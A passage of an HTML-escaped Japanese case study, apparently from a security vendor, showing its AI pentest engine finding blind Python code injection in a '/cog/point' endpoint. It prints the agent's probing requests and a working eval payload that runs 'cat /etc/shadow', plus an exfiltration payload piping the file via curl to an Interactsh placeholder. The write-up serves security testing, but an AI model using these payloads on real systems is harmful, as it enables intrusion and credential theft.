&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=__import__('os').system('id')"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=__import__('os').system('id')&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=__import__('os').system('id') HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=__import__('time').sleep(10)"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=__import__('time').sleep(10)&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=__import__('time').sleep(10) HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=globals()"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=globals()&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=globals() HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=1"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=1&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=1 HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1;__import__('os').system('ls')"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1;__import__('os').system('ls')&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1;__import__('os').system('ls') HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__init__.__globals"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__init__.__globals&lt;/a&gt;__"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;cog&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;point&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tif&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__globals__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"unsupported expression type: &amp;lt;class 'dict'&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=str(b1.__init__.__globals__)"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=str(b1.__init__.__globals__)&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=str(b1.__init__.__globals__) HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[0.0],"band_names":["b1.__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('cat /etc/shadow')\")"]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;当社は、エンジンが受け取ったレスポンスに基づいてそのアプローチを反復的に改良していった様子を示すために、すべてのリクエストを意図的に元の形のまま残しています。&lt;/p&gt;
&lt;p&gt;このケーススタディは、当社が採用しつつある新たな概念を裏付けています。それは、LLMを、システムプロンプトが実行可能なコードとして機能する実行時環境として扱うという考え方です。&lt;/p&gt;
&lt;p&gt;わかりやすい例を見てみましょう。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アプローチ1：直接計算&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;システムプロンプト：「あなたは世界トップクラスの数学の専門家です」&lt;/li&gt;
&lt;li&gt;結果：LLMは数式演算を内部で計算しようとし、計算ミスを生じさせる可能性があります&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;アプローチ2：コード生成と実行&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;システムプロンプト：「数学の問題をPythonコードに変換し、ツールを介して実行し、検証済みの結果を返してください」&lt;/li&gt;
&lt;li&gt;結果：LLMは決定論的なコードを生成し、外部ツールを通じて実行し、正確で再現可能な結果を返します&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;このプロンプトエンジニアリングにおける根本的な違いは、エージェントにタスクの実行をどのように指示するかが、出力の品質と信頼性に重大な影響を及ぼすことを示しています。&lt;/p&gt;
&lt;p&gt;この手法を当社の脆弱性検出のシナリオに適用したところ、エンジンは最初の体系的な試行で脆弱性の存在を確認することに成功しました。これは、数千回の反復を要する可能性がある従来のファジングのアプローチとは対照的です。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="output"&gt;
&lt;h2 id="発見された脆弱性:ブラインドpythonコードインジェクション"&gt;発見された脆弱性：ブラインドPythonコードインジェクション&lt;/h2&gt;
&lt;h3 id="脆弱性の概要"&gt;脆弱性の概要&lt;/h3&gt;
&lt;p&gt;'/cog/point' エンドポイントの 'expression' パラメーターに、ブラインドPythonコードインジェクションの脆弱性が特定されました。サーバーは与えられた式を評価しますが、コマンドの出力をHTTPレスポンスでは返しません。代わりに、実行されたコマンドの終了コードが返され、実行が成功した場合は '0' になります。これはコマンドが実行されたことを裏付けますが、結果はアウトオブバンドの手法で持ち出す必要があります。&lt;/p&gt;
&lt;h3 id="概念実証(poc)"&gt;概念実証（PoC）&lt;/h3&gt;
&lt;p&gt;この脆弱性は、以下のペイロードを送信することで確認されました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;サーバーは 200 OK ステータスと &lt;code&gt;{"values":[0.0]}&lt;/code&gt; を返しました。ここで &lt;code&gt;0.0&lt;/code&gt; は &lt;code&gt;os.system&lt;/code&gt; 呼び出しの終了コードであり、実行が行われたことを実証しています。&lt;/p&gt;
&lt;h3 id="悪用のエビデンス"&gt;悪用のエビデンス&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/etc/shadow&lt;/code&gt; ファイルを持ち出すために、Interactsh URLを使用して curl コマンドの出力を捕捉します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;持ち出し用ペイロード&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b1&lt;span class="o"&gt;.&lt;/span&gt;__init__&lt;span class="o"&gt;.&lt;/span&gt;__globals__&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;__builtins__'&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;eval'&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="s2"&gt;"__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- &amp;lt;INTERACTSH_URL&amp;gt;')"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="再現手順"&gt;再現手順&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Interactshセッションを開始して、一意のURLを取得します。  &lt;/li&gt;
&lt;li&gt;持ち出し用ペイロードをInteractsh URLとともにURLエンコードします。  &lt;/li&gt;
&lt;li&gt;エンコードしたペイロードを 'expression' パラメーターに含め、脆弱なエンドポイントにGETリクエストを送信します。  &lt;/li&gt;
&lt;li&gt;Interactshセッションで、受信したPOSTリクエストを確認します。このリクエストのボディに /etc/shadow ファイルの内容が含まれます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Vulnerability Confirmation&lt;/code&gt;:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;The&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;executes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;os&lt;/span&gt;.&lt;span class="nv"&gt;system&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;call&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;returned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'values'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;JSON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;response&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;confirming&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;blind&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;execution&lt;/span&gt;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Exfiltration Payload&lt;/code&gt;:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b1&lt;span class="o"&gt;.&lt;/span&gt;__init__&lt;span class="o"&gt;.&lt;/span&gt;__globals__&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;__builtins__'&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;eval'&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="s2"&gt;"__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- &amp;lt;INTERACTSH_URL&amp;gt;')"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;次のステップは悪用です。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;アウトオブバンドの持ち出し用ペイロードを実行して、/etc/shadow ファイルの内容を、制御下にある外部サーバーに送信します。目標は、待ち受けているサーバーでファイルの内容が受信されることを検証することによって、この脆弱性が機密データの窃取に悪用できることを確認することです。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;h2 id="発見された脆弱性:ブラインドpythonコードインジェクション_1"&gt;発見された脆弱性：ブラインドPythonコードインジェクション&lt;/h2&gt;
&lt;h3 id="脆弱性の概要_1"&gt;脆弱性の概要&lt;/h3&gt;
&lt;p&gt;'/cog/point' エンドポイントの 'expression' パラメーターに、ブラインドPythonコードインジェクションの脆弱性が特定されました。サーバーは与えられた式を評価しますが、コマンドの出力をHTTPレスポンスでは返しません。代わりに、実行されたコマンドの終了コードが返され、実行が成功した場合は '0' になります。これはコマンドが実行されたことを裏付けますが、結果はアウトオブバンドの手法で持ち出す必要があります。&lt;/p&gt;
&lt;h3 id="概念実証"&gt;概念実証&lt;/h3&gt;
&lt;p&gt;この脆弱性は、以下のペイロードを送信することで確認されました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;サーバーは 200 OK ステータスと &lt;code&gt;{"values":[0.0]}&lt;/code&gt; を返しました。ここで &lt;code&gt;0.0&lt;/code&gt; は &lt;code&gt;os.system&lt;/code&gt; 呼び出しの終了コードであり、実行が行われたことを実証しています。&lt;/p&gt;
&lt;h3 id="ツールの失敗により持ち出しがブロックされた"&gt;ツールの失敗により持ち出しがブロックされた&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/etc/shadow&lt;/code&gt; ファイルを持ち出すには、アウトオブバンド（OOB）の手法が必要です。意図していた手法は、Interactsh URLを使用して curl コマンドの出力を捕捉することでした。しかし、&lt;code&gt;start_interactsh_session&lt;/code&gt; ツールの初期化が一貫して失敗しており、データ持ち出し用のURLの生成が妨げられています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;意図していた持ち出し用ペイロード&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b1&lt;span class="o"&gt;.&lt;/span&gt;__init__&lt;span class="o"&gt;.&lt;/span&gt;__globals__&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;__builtins__'&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;eval'&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="s2"&gt;"__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- &amp;lt;INTERACTSH_URL&amp;gt;')"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Interactsh URLを生成できなかったため、&lt;code&gt;/etc/shadow&lt;/code&gt; ファイルを持ち出す最終ステップを完了できませんでした。脆弱性は確認済みですが、悪用は現在、ツールチェーンの問題によってブロックされています。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;アウトオブバンドの持ち出し用ペイロードを実行して、/etc/shadow ファイルの内容を、制御下にある外部サーバーに送信します。目標は、待ち受けているサーバーでファイルの内容が受信されることを検証することによって、この脆弱性が機密データの窃取に悪用できることを確認することです。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;h2 id="発見された脆弱性:ブラインドpythonコードインジェクション_2"&gt;発見された脆弱性：ブラインドPythonコードインジェクション&lt;/h2&gt;
&lt;h3 id="脆弱性の概要_2"&gt;脆弱性の概要&lt;/h3&gt;
&lt;p&gt;'/cog/point' エンドポイントの 'expression' パラメーターに、ブラインドPythonコードインジェクションの脆弱性が特定されました。サーバーは与えられた式を評価しますが、コマンドの出力をHTTPレスポンスでは返しません。代わりに、実行されたコマンドの終了コードが返され、実行が成功した場合は '0' になります。これはコマンドが実行されたことを裏付けますが、結果はアウトオブバンドの手法で持ち出す必要があります。&lt;/p&gt;
&lt;h3 id="概念実証_1"&gt;概念実証&lt;/h3&gt;
&lt;p&gt;この脆弱性は、以下のペイロードを送信することで確認されました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;サーバーは 200 OK ステータスと &lt;code&gt;{"values":[0.0]}&lt;/code&gt; を返しました。ここで &lt;code&gt;0.0&lt;/code&gt; は &lt;code&gt;os.system&lt;/code&gt; 呼び出しの終了コードであり、実行が行われたことを実証しています。&lt;/p&gt;
&lt;h3 id="悪用のエビデンス_1"&gt;悪用のエビデンス&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/etc/shadow&lt;/code&gt; ファイルを持ち出すために、Interactsh URLを使用して curl コマンドの出力を捕捉します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;持ち出し用ペイロード&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;b1&lt;span class="o"&gt;.&lt;/span&gt;__init__&lt;span class="o"&gt;.&lt;/span&gt;__globals__&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;__builtins__'&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;eval'&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="s2"&gt;"__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- &amp;lt;INTERACTSH_URL&amp;gt;')"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="再現手順_1"&gt;再現手順&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Interactshセッションを開始して、一意のURLを取得します。  &lt;/li&gt;
&lt;li&gt;持ち出し用ペイロードをInteractsh URLとともにURLエンコードします。  &lt;/li&gt;
&lt;li&gt;エンコードしたペイロードを 'expression' パラメーターに含め、脆弱なエンドポイントにGETリクエストを送信します。  &lt;/li&gt;
&lt;li&gt;Interactshセッションで、受信したPOSTリクエストを確認します。このリクエストのボディに /etc/shadow ファイルの内容が含まれます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Vulnerability Confirmation&lt;/code&gt;:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;The&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;executes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;os&lt;/span&gt;.&lt;span class="nv"&gt;system&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;call&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;returned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'values'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;JSON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;response&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;confirming&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;blind&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;execution&lt;/span&gt;.
